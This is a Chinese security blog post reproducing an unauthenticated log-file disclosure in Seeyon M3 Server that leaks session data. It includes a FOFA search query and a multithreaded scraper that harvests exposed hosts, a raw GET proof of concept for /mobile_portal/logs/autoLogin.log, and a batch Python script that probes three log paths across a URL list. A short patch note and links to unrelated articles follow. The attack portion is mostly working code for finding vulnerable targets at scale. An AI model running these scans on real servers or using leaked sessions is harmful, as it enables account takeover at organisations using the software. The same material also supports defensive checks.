(1day)致远M3 log 敏感信息泄露漏洞(Session)复现

2024-05-08 06:36

本文主要是介绍(1day)致远M3 log 敏感信息泄露漏洞(Session)复现,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

前言

        系统学习web漏洞挖掘以及项目实战也有一段时间了,发现在漏洞挖掘过程中难免会碰到一些历史漏洞,来帮助自己或是提高自己挖洞和及时发现漏洞效率,于是开始创建这个专栏,对第一时间发现的1day以及历史漏洞进行复现,来让自己更加熟悉漏洞类型以及历史漏洞,方便自己在后续的项目实战中,碰到漏洞能够及时去查询和复现.

免责声明

        本文仅用于技术学习和讨论。请勿使用本文所提供的内容及相关技术从事非法活动,若利用本文提供的内容或工具造成任何直接或间接的后果及损失,均由使用者本人负责,所产生的一切不良后果均与文章作者及本账号无关。

漏洞复现信息收集

fofa搜集

title="M3-Server"

fofa信息搜集脚本

# -*- coding: utf-8 -*-import requests
import base64
import time
from lxml import etree
import threadingdef fofa_search(search_data, page_data):# 必须要有cookieheaders = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0','Cookie': '' # 填入自己的cookie}lock = threading.Lock()  # 创建线程锁def process_page(page):url = 'https://fofa.info/result?qbase64='search_worlds_base64 = str(base64.b64encode(search_data.encode("utf-8")), "utf-8")urls = url + search_worlds_base64 + '&page=' + str(page) + '&page_size=10'# print(urls)  #  打印请求的URLtry:retry_count = 3while retry_count > 0:try:result = requests.get(url=urls, headers=headers, timeout=10).textbreak  # 请求成功,跳出重试循环except requests.RequestException as e:print("请求发生异常:", e)retry_count -= 1if retry_count == 0:print("请求重试次数已达上限,放弃请求")return  # 放弃当前页面的处理print("正在提取第" + str(page) + "页")# print(result)soup = etree.HTML(result, etree.HTMLParser())  # 初始化生成一个XPath解析对象ipaddr = soup.xpath('//span[@class="hsxa-host"]/a/@href')print(ipaddr)ipaddr = '\n'.join(ipaddr)print(ipaddr)with lock:  # 使用线程锁保证写入文件的互斥性with open(r'url.txt', 'a+') as f:print("写入文件中")# f.write('页面:'+str(page)+'\n'+ipdata + '\n')f.write(ipaddr + '\n')f.close()time.sleep(0.5)  # 防止速度过快导致部分数据被略过except Exception as e:print("异常:", e)max_threads = 2  # 设置最大线程数量为2,超过2会导致页面爬取内容为空threads = []for page in range(1, page_data + 1):while len(threads) >= max_threads:# 等待当前线程数量降到允许的最大值以下time.sleep(1)threads = [t for t in threads if t.is_alive()]t = threading.Thread(target=process_page, args=(page,))threads.append(t)t.start()for t in threads:t.join()print("*********数据提取完成*********")if __name__ == '__main__':# fofa语句, 采集页面数fofa_search('title="M3-Server"', 20)

一、漏洞简述

        M3—— 企业移动协同管理平台致远互联M3企业移动协同管理平台,全面覆盖各种工作场景,通过智能化的办公和业务场景融合,为企业构建新一代的移动智能工作方式。

其以下接口存在信息泄露

/mobile_portal/logs/autoLogin.log
/mobile_portal/logs/app.log
/mobile_portal/logs/requset.log

      存在未授权信息泄露,攻击者可根据泄露的session信息,伪装成通过验证的管理员/用户进行恶意操作。

二、漏洞检测poc


GET /mobile_portal/logs/autoLogin.log HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close

三、漏洞检测脚本

渗透测试人员可通过该脚本进行探测自身服务是否存在此漏洞:

poc验证脚本:

poc-exp/SeeYonM3_log_InfoLeakage.py at main · ATonysan/poc-exp · GitHubDiscuss POC and Exp. Contribute to ATonysan/poc-exp development by creating an account on GitHub.icon-default.png?t=N7T8https://github.com/ATonysan/poc-exp/blob/main/SeeYonM3_log_InfoLeakage.py

import requests
import urllib3
from urllib.parse import urljoin,quote
import argparse
import ssl
ssl._create_default_https_context = ssl._create_unverified_context
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)def read_file(file_path):with open(file_path, 'r') as file:urls = file.read().splitlines()return urlsdef check(url):url = url.rstrip("/")info_paths = ['/mobile_portal/logs/autoLogin.log','/mobile_portal/logs/app.log','/mobile_portal/logs/requset.log']headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",}for path in info_paths:target = urljoin(url, path)try:response = requests.get(target, verify=False, headers=headers, timeout=15)if response.status_code == 200 and 'INFO' in response.text:print(f"\033[31mDiscovered:{target}: YSeeYonM3_log_InfoLeakage!\033[0m")return Trueexcept Exception as e:passif __name__ == "__main__":parser = argparse.ArgumentParser()parser.add_argument("-u", "--url", help="URL")parser.add_argument("-f", "--txt", help="file")args = parser.parse_args()url = args.urltxt = args.txtif url:check(url)elif txt:urls = read_file(txt)for url in urls:check(url)else:print("help")

单个url检测漏洞:

python SeeYonM3_log_InfoLeakage.py -u url

批量检测:

python SeeYonM3_log_InfoLeakage.py -f url.txt

四、修复

官方已更新补丁,请升级至最新版本。

官网地址:https://www.seeyon.com/

这篇关于(1day)致远M3 log 敏感信息泄露漏洞(Session)复现的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/969575

相关文章

如何自定义一个log适配器starter

《如何自定义一个log适配器starter》:本文主要介绍如何自定义一个log适配器starter的问题,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录需求Starter 项目目录结构pom.XML 配置LogInitializer实现MDCInterceptor

Python中文件读取操作漏洞深度解析与防护指南

《Python中文件读取操作漏洞深度解析与防护指南》在Web应用开发中,文件操作是最基础也最危险的功能之一,这篇文章将全面剖析Python环境中常见的文件读取漏洞类型,成因及防护方案,感兴趣的小伙伴可... 目录引言一、静态资源处理中的路径穿越漏洞1.1 典型漏洞场景1.2 os.path.join()的陷

Linux查看系统盘和SSD盘的容量、型号及挂载信息的方法

《Linux查看系统盘和SSD盘的容量、型号及挂载信息的方法》在Linux系统中,管理磁盘设备和分区是日常运维工作的重要部分,而lsblk命令是一个强大的工具,它用于列出系统中的块设备(blockde... 目录1. 查看所有磁盘的物理信息方法 1:使用 lsblk(推荐)方法 2:使用 fdisk -l(

SpringBoot如何对密码等敏感信息进行脱敏处理

《SpringBoot如何对密码等敏感信息进行脱敏处理》这篇文章主要为大家详细介绍了SpringBoot对密码等敏感信息进行脱敏处理的几个常用方法,文中的示例代码讲解详细,感兴趣的小伙伴可以了解下... 目录​1. 配置文件敏感信息脱敏​​2. 日志脱敏​​3. API响应脱敏​​4. 其他注意事项​​总结

SpringBoot项目中Redis存储Session对象序列化处理

《SpringBoot项目中Redis存储Session对象序列化处理》在SpringBoot项目中使用Redis存储Session时,对象的序列化和反序列化是关键步骤,下面我们就来讲讲如何在Spri... 目录一、为什么需要序列化处理二、Spring Boot 集成 Redis 存储 Session2.1

springboot实现配置文件关键信息加解密

《springboot实现配置文件关键信息加解密》在项目配置文件中常常会配置如数据库连接信息,redis连接信息等,连接密码明文配置在配置文件中会很不安全,所以本文就来聊聊如何使用springboot... 目录前言方案实践1、第一种方案2、第二种方案前言在项目配置文件中常常会配置如数据库连接信息、Red

Go语言开发实现查询IP信息的MCP服务器

《Go语言开发实现查询IP信息的MCP服务器》随着MCP的快速普及和广泛应用,MCP服务器也层出不穷,本文将详细介绍如何在Go语言中使用go-mcp库来开发一个查询IP信息的MCP... 目录前言mcp-ip-geo 服务器目录结构说明查询 IP 信息功能实现工具实现工具管理查询单个 IP 信息工具的实现服

SQL中redo log 刷⼊磁盘的常见方法

《SQL中redolog刷⼊磁盘的常见方法》本文主要介绍了SQL中redolog刷⼊磁盘的常见方法,将redolog刷入磁盘的方法确保了数据的持久性和一致性,下面就来具体介绍一下,感兴趣的可以了解... 目录Redo Log 刷入磁盘的方法Redo Log 刷入磁盘的过程代码示例(伪代码)在数据库系统中,r

使用Python从PPT文档中提取图片和图片信息(如坐标、宽度和高度等)

《使用Python从PPT文档中提取图片和图片信息(如坐标、宽度和高度等)》PPT是一种高效的信息展示工具,广泛应用于教育、商务和设计等多个领域,PPT文档中常常包含丰富的图片内容,这些图片不仅提升了... 目录一、引言二、环境与工具三、python 提取PPT背景图片3.1 提取幻灯片背景图片3.2 提取

Linux下如何使用C++获取硬件信息

《Linux下如何使用C++获取硬件信息》这篇文章主要为大家详细介绍了如何使用C++实现获取CPU,主板,磁盘,BIOS信息等硬件信息,文中的示例代码讲解详细,感兴趣的小伙伴可以了解下... 目录方法获取CPU信息:读取"/proc/cpuinfo"文件获取磁盘信息:读取"/proc/diskstats"文